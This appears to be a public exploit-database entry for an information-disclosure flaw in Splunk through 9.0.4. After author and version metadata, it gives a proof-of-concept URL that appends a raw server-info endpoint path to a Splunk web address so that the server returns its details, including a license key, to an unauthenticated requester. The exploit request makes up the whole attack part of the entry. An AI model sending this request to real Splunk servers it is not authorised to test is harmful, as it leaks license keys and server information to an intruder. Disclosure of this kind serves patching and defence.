Splunk 9.0.4 - Information Disclosure

# Exploit Title: Splunk 9.0.4 - Information Disclosure
# Date: 2023-09-18
# Exploit Author: Parsa rezaie khiabanloo
# Vendor Homepage: https://www.splunk.com/
# Version: 9.0.4 
# Tested on: Windows OS

# Splunk through 9.0.4  allows information disclosure by appending
# /__raw/services/server/info/server-info?output_mode=json to a query,
# as demonstrated by discovering a license key and other information.

# PoC :

https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json